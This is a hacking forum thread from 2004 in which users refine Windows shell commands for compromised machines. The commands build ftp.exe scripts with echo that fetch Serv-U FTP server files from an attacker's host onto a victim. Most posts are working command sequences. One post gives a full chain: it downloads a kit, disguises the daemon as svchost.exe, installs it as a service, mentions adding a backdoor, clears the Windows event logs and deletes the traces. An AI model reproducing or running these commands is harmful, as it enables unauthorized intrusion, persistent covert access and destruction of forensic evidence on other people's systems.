RizL4
May 11 2004, 06:16 AM
ok well i need a little help well can u tell me if i'm right
echo open myip myport > C:\WUTemp\file.txt
echo open user username password >> C:\WUTemp\file.txt
echo binary >> C:\WUTemp\file.txt
echo get ServUDaemon.exe C:\WINDOWS\system32\ServUDaemon.exe >> C:\WUTemp\file.txt
echo get ServUDaemon.ini C:\WINDOWS\system32\ServUDaemon.ini >> C:\WUTemp\file.txt
echo quit >> C:\WUTemp\file.txt
ftp.exe -i -n -v -s:C:\WUTemp\file.txt
now i have my ftp located c:\windows\system32
and my ServUDaemon.ini and ServUDaemon.exe is located
C:\WINDOWS\system32\ServUDaemon.ini
C:\WINDOWS\system32\ServUDaemon.exe
than do i just paste all this in the shell
echo open myip myport > C:\WUTemp\file.txt
echo open user username password >> C:\WUTemp\file.txt
echo binary >> C:\WUTemp\file.txt
echo get ServUDaemon.exe C:\WINDOWS\system32\ServUDaemon.exe >> C:\WUTemp\file.txt
echo get ServUDaemon.ini C:\WINDOWS\system32\ServUDaemon.ini >> C:\WUTemp\file.txt
echo quit >> C:\WUTemp\file.txt
ftp.exe -i -n -v -s:C:\WUTemp\file.txt
than do ftp.exe -i -n -v -s:C:\WUTemp\file.txt
?
and if so when the remote pc downloads thoses files were will thoses files be put
C:\WINDOWS\system32 ?
hope u can give me some help advice tips thnxs
BeNiNuK
May 11 2004, 06:37 AM
i think the user and password have to be on dif lines? correct me if im wrong though?
fre4k
May 11 2004, 06:46 AM
just move it in dictory wiht `move`
example:
move serv-u c:\winnt\system\....
then start:
start c: \winnt\system\.....
and servu is running and you can connect via flashfxp or something else
spyfire
May 11 2004, 06:50 AM
you are right the user name and password is not correct!
open ip
username
password
type binary
and the rest
.
.
.
RizL4
May 11 2004, 07:10 AM
like this
echo open <your IP> <port>
echo <user>
echo <pass>
echo literal PASV
echo lcd c:\windows\system32
echo get ServUDaemon.exe
echo lcd c:\windows\system32
echo get ServUDaemon.ini
quit
?
RizL4
May 11 2004, 07:16 AM
humm but i want this
echo open myip myport > C:\WUTemp\file.txt
echo open user username password >> C:\WUTemp\file.txt
echo binary >> C:\WUTemp\file.txt
echo get ServUDaemon.exe C:\WINDOWS\system32\ServUDaemon.exe >> C:\WUTemp\file.txt
echo get ServUDaemon.ini C:\WINDOWS\system32\ServUDaemon.ini >> C:\WUTemp\file.txt
echo quit >> C:\WUTemp\file.txt
ftp.exe -i -n -v -s:C:\WUTemp\file.txt
how will this be
is it echo open myip port
echo user
echo pass
can someone plz edit it and repost i'm not sure sorry i'm a noob thnxs
tuby
May 11 2004, 07:38 AM
echo <ip><port> >> file.txt
echo user <username> >> file.txt
echo <password> >> file.txt
etc ....
Qlimax
May 11 2004, 08:19 AM
| CODE |
echo open <Server IP> <Server PORT> >> x.txt echo <USER> >> x.txt echo <Pass> >> x.txt echo hash >> x.txt echo bin >> x.txt echo prompt >> x.txt echo cd C:\somewhere\system32 >> x.txt echo lcd C:\somewhere\system32 >> x.txt echo mget *.* >> x.txt echo bye >> x.txt ftp -s:x.txt del x.txt |
u open server with serv-u on u box
open new folder, put in the folder the file u want to upload
config user in the serv-u to the new folder
file the echo commands with the deitls
copy\paste in the shell
the file will upload to the folder use right now
if u connect to the shell and u got
C:\WINNT\system32>
and there u paste the command's the file will upload there.
BuzzDee
May 11 2004, 08:34 AM
gr8 topic.... :S
spyfire
May 11 2004, 08:53 AM
i am sure what i wrote will work but
open user <username> <pass>
don't works for me!
Nova
May 11 2004, 12:48 PM
user pass has to be on differnt lines for me, Plus you dont name password leave blank
echo server details
| CODE |
echo open 192.168.0.1 3333 >> c:\Winnt\files\temp.txt echo user h4x0r >> c:\Winnt\files\temp.txt echo h4x0r >> c:\Winnt\files\temp.txt
|
get files
| CODE |
echo get JAsfv.ini >> c:\Winnt\files\temp.txt
|
execute ftp using the echo txt as commands (must be in \system32\ or location of ftp.exe)
| CODE |
ftp.exe -i -n -v -s:c:\Winnt\files\temp.txt
|
delete trace of your commands
| CODE |
del c:\Winnt\files\temp.txt
|
MHSICKNESS
May 11 2004, 01:20 PM
omg :/
bdark
May 12 2004, 10:54 PM
| QUOTE (RizL4 @ May 11 2004, 07:16 AM) |
humm but i want this
echo open myip myport > C:\WUTemp\file.txt echo user username >> C:\WUTemp\file.txt echo binary >> C:\WUTemp\file.txt echo get ServUDaemon.exe C:\WINDOWS\system32\ServUDaemon.exe >> C:\WUTemp\file.txt echo get ServUDaemon.ini C:\WINDOWS\system32\ServUDaemon.ini >> C:\WUTemp\file.txt echo quit >> C:\WUTemp\file.txt ftp.exe -i -n -v -s:C:\WUTemp\file.txt
how will this be
is it echo open myip port echo user echo pass
can someone plz edit it and repost i'm not sure sorry i'm a noob thnxs |
echo open myip myport > C:\WUTemp\file.txt
echo user username >> C:\WUTemp\file.txt
echo password >> C:\WUTemp\file.txt
echo get ServUDaemon.exe >> C:\WUTemp\file.txt
echo get ServUDaemon.ini >> C:\WUTemp\file.txt
echo quit >> C:\WUTemp\file.txt
ftp -i -n -v -s:C:\WUTemp\file.txt
this way it will work for sure m8 =)
bdark
May 12 2004, 11:15 PM
| QUOTE (RizL4 @ May 11 2004, 06:16 AM) |
than do ftp.exe -i -n -v -s:C:\WUTemp\file.txt ? and if so when the remote pc downloads thoses files were will thoses files be put C:\WINDOWS\system32 ?
hope u can give me some help advice tips thnxs |
By the way.. after perfoming the commands to upload your files, if you still want to move some files to another desired directory it's simple. Just go to the dir where the files are (c:\WUTemp\) and type move c:\wutemp\file.exe c:\windows\system32\file.exe
this way you'll have your files where you want
good luck
Masterace
May 13 2004, 03:47 AM
I always do it like i found it here.I made a little rar packet including
-servudaemon.ini
-servudaemon.exe (renamed to svchost.exe)
-registry.exe
-clearlogs.exe
(and perhaps you would like to include an backdoor prog,can also be found here [foo.bat/foo.reg]by the way thx for this)
I upped this rar kit and the unrar.exe on a pub and then i execute the following script
| QUOTE |
md c:\WINDOWS\system32\folder\ echo open xxx.xxx.xxx.xxx >> c:\WINDOWS\system32\file.txt echo user anonymous anonymous@on.the.net >> c:\WINDOWS\system32\file.txt echo binary >> c:\WINDOWS\system32\file.txt echo lcd c:\WINDOWS\system32\folder >> c:\WINDOWS\system32\file.txt echo cd / >> c:\WINDOWS\system32\file.txt echo get unrar.exe >> c:\WINDOWS\system32\file.txt echo get kit.rar >> c:\WINDOWS\system32\file.txt echo quit >> c:\WINDOWS\system32\file.txt ftp -n -v -s:c:\WINDOWS\system32\file.txt cd folder unrar x kit.rar registry svchosts c:\WINDOWS\system32\folder\svchost.exe svchost /i net start serv-u del servustartuplog.txt del kit.rar del unrar.exe clearlogs -sys clearlogs -sec clearlogs -app del clearlogs.exe del registry.exe cd.. del file.txt |
It realy works fine for me
bdark
May 13 2004, 08:45 PM
yes masterace.. but this method is an alternative when you find that the server where you log in doesn't have ftp.exe or tftp.exe . In this kind of cases this works perfectly =) No way your files won't get on the server
F34R
May 15 2004, 12:50 PM
Ftp.exe isnt missing on most boxes... I get 80% results with it... unlike TFTP which is gone off every damn thing! heh
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